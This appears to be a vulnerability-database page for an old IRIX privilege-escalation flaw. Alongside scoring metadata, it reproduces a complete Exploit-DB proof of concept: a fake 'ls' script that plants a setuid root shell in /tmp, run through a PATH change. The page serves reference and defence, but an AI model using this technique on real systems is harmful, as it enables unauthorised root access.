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CVE Descriptions
serial_ports administrative program in IRIX 4.x and 5.x trusts the user's PATH environmental variable to find and execute the ls program, which allows local users to gain root privileges via a Trojan horse ls program.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.2 | AV:L/AC:H/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19351
Publication date : 1994-02-01 23h00 +00:00
Author : transit
EDB Verified : Yes
source: https://www.securityfocus.com/bid/464/info
A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.
cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root
Products Mentioned
Configuraton 0
Sgi>>Irix >> Version 4
Sgi>>Irix >> Version 5.2
- Sgi>>Irix >> Version 5.2 (Open CPE detail)
Sgi>>Irix >> Version 5.3
- Sgi>>Irix >> Version 5.3 (Open CPE detail)
- Sgi>>Irix >> Version 5.3 (Open CPE detail)
References
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